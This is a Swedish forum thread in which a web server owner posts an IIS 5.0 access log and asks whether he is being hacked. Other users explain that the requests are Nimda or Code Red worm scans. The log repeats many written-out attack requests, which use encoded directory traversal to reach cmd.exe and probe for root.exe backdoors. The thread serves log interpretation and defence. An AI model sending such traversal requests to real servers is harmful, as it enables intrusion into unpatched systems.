Hackad?

Hej på er...

Behöver hjälp med att tolka min logg, det verkar som att denna person och en annan försöker bryta sig in i min webbserver. Det är en IIS 5.0.

Frågor:

Vad försöker de göra?
På vilket sätt?
Har de lyckats?

Log-----------------------------

2002-11-10 03:12:30 213.114.170.11 - 213.114.51.114 80 GET /scripts/root.exe /c+dir 404 -
2002-11-10 03:12:30 213.114.170.11 - 213.114.51.114 80 GET /MSADC/root.exe /c+dir 404 -
2002-11-10 03:12:30 213.114.170.11 - 213.114.51.114 80 GET /c/winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 03:12:30 213.114.170.11 - 213.114.51.114 80 GET /d/winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 03:12:30 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:12:30 213.114.170.11 - 213.114.51.114 80 GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:12:30 213.114.170.11 - 213.114.51.114 80 GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:12:30 213.114.170.11 - 213.114.51.114 80 GET /msadc/..%5c../..%5c../..%5c/..Á../..Á../..Á../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:12:30 213.114.170.11 - 213.114.51.114 80 GET /scripts/..Á../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:12:30 213.114.170.11 - 213.114.51.114 80 GET /scripts/winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 03:12:30 213.114.170.11 - 213.114.51.114 80 GET /winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 03:12:30 213.114.170.11 - 213.114.51.114 80 GET /winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 03:12:30 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:12:30 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:12:30 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:12:30 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%2f../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:15:22 213.114.170.11 - 213.114.51.114 80 GET /scripts/root.exe /c+dir 404 -
2002-11-10 03:15:22 213.114.170.11 - 213.114.51.114 80 GET /MSADC/root.exe /c+dir 404 -
2002-11-10 03:15:22 213.114.170.11 - 213.114.51.114 80 GET /c/winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 03:15:22 213.114.170.11 - 213.114.51.114 80 GET /d/winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 03:15:22 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:15:22 213.114.170.11 - 213.114.51.114 80 GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:15:22 213.114.170.11 - 213.114.51.114 80 GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:15:22 213.114.170.11 - 213.114.51.114 80 GET /msadc/..%5c../..%5c../..%5c/..Á../..Á../..Á../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:15:22 213.114.170.11 - 213.114.51.114 80 GET /scripts/..Á../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:15:22 213.114.170.11 - 213.114.51.114 80 GET /scripts/winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 03:15:22 213.114.170.11 - 213.114.51.114 80 GET /winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 03:15:22 213.114.170.11 - 213.114.51.114 80 GET /winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 03:15:22 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:15:22 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:15:22 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:15:22 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%2f../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:41:17 213.114.170.11 - 213.114.51.114 80 GET /scripts/root.exe /c+dir 404 -
2002-11-10 03:41:17 213.114.170.11 - 213.114.51.114 80 GET /MSADC/root.exe /c+dir 404 -
2002-11-10 03:41:17 213.114.170.11 - 213.114.51.114 80 GET /c/winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 03:41:17 213.114.170.11 - 213.114.51.114 80 GET /d/winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 03:41:17 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:41:17 213.114.170.11 - 213.114.51.114 80 GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:41:17 213.114.170.11 - 213.114.51.114 80 GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:41:17 213.114.170.11 - 213.114.51.114 80 GET /msadc/..%5c../..%5c../..%5c/..Á../..Á../..Á../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:41:17 213.114.170.11 - 213.114.51.114 80 GET /scripts/..Á../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:41:17 213.114.170.11 - 213.114.51.114 80 GET /scripts/winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 03:41:17 213.114.170.11 - 213.114.51.114 80 GET /winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 03:41:17 213.114.170.11 - 213.114.51.114 80 GET /winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 03:41:17 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:41:17 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:41:17 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 03:41:17 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%2f../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 06:35:38 213.114.170.11 - 213.114.51.114 80 GET /scripts/root.exe /c+dir 404 -
2002-11-10 06:35:38 213.114.170.11 - 213.114.51.114 80 GET /MSADC/root.exe /c+dir 404 -
2002-11-10 06:35:38 213.114.170.11 - 213.114.51.114 80 GET /c/winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 06:35:38 213.114.170.11 - 213.114.51.114 80 GET /d/winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 06:35:38 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 06:35:38 213.114.170.11 - 213.114.51.114 80 GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 06:35:38 213.114.170.11 - 213.114.51.114 80 GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 06:35:38 213.114.170.11 - 213.114.51.114 80 GET /msadc/..%5c../..%5c../..%5c/..Á../..Á../..Á../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 06:35:38 213.114.170.11 - 213.114.51.114 80 GET /scripts/..Á../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 06:35:38 213.114.170.11 - 213.114.51.114 80 GET /scripts/winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 06:35:38 213.114.170.11 - 213.114.51.114 80 GET /winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 06:35:38 213.114.170.11 - 213.114.51.114 80 GET /winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 06:35:38 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 06:35:38 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 06:35:38 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 06:35:38 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%2f../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 07:14:53 213.114.170.11 - 213.114.51.114 80 GET /scripts/root.exe /c+dir 404 -
2002-11-10 07:14:53 213.114.170.11 - 213.114.51.114 80 GET /MSADC/root.exe /c+dir 404 -
2002-11-10 07:14:53 213.114.170.11 - 213.114.51.114 80 GET /c/winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 07:14:53 213.114.170.11 - 213.114.51.114 80 GET /d/winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 07:14:53 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 07:14:53 213.114.170.11 - 213.114.51.114 80 GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 07:14:53 213.114.170.11 - 213.114.51.114 80 GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 07:14:53 213.114.170.11 - 213.114.51.114 80 GET /msadc/..%5c../..%5c../..%5c/..Á../..Á../..Á../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 07:14:53 213.114.170.11 - 213.114.51.114 80 GET /scripts/..Á../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 07:14:53 213.114.170.11 - 213.114.51.114 80 GET /scripts/winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 07:14:53 213.114.170.11 - 213.114.51.114 80 GET /winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 07:14:53 213.114.170.11 - 213.114.51.114 80 GET /winnt/system32/cmd.exe /c+dir 404 -
2002-11-10 07:14:53 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 07:14:53 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 07:14:53 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 -
2002-11-10 07:14:53 213.114.170.11 - 213.114.51.114 80 GET /scripts/..%2f../winnt/system32/cmd.exe /c+dir 500 -

Tack på förhand.
/Johnny

En sak till vad ska man göra? Jag har spärrat IP: nummret i IIS:en. Kan man göra något mer? Tips mottages tacksamt!

/Johnny

Det där är en logg som säger att en dator som är smittad med antingen Code Red eller Nimda eller nån liknande har försökt att smitta din dator. Om du har kört windows-update ordentligt så klarar du dig från såna attacker.

Det där är inte roligt :(
Tittade i min access logg nu och hade lite över 10.000 rader med fel bara från Nimda/Code Red och i error loggen är det över 15.000 rader, och det är från början av september iår (blir över 400 rader/dag). Det här har hållit på i 1 år snart tror jag. Jag tycker att alla borde ha rensat sina datorer nu men det har de inte.
Sitter själv med Apache så det påvärkar inte mig så mycket men det tar ju bandbred osv..

/Viktor

Tackar för bra svar!

/Johnny

Hej,

I detta fallet så är IP numret från Bredbandsbolaget, detta innebär förmodligen att någon privatanvändare är smittad. IIS finns även i vanliga Windows 2000.

Code Read kommer aldrig (inom dom närmaste åren, kanske t.o.m. den närmaste årtionden) att försvinna. Sättet programmet jobbar på gör att den alltid kommer att hitta en server/klient som har den svagheter som krävs för att programmet ska kunna aktiveras.